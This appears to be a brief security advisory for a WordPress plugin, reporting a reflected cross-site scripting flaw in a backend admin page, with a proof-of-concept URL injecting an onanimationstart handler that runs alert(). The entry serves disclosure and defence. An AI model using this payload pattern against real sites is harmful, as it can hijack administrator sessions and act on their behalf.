The plugin does not escape a parameter before outputting it back in an attribute of a backend page, leading to a Reflected Cross-Site Scripting
PoC
http://example.com/wp-admin/admin.php?page=wp-hide-cdn&component;="+style%3Danimation-name%3Arotation+onanimationstart%3Dalert(/XSS/)+x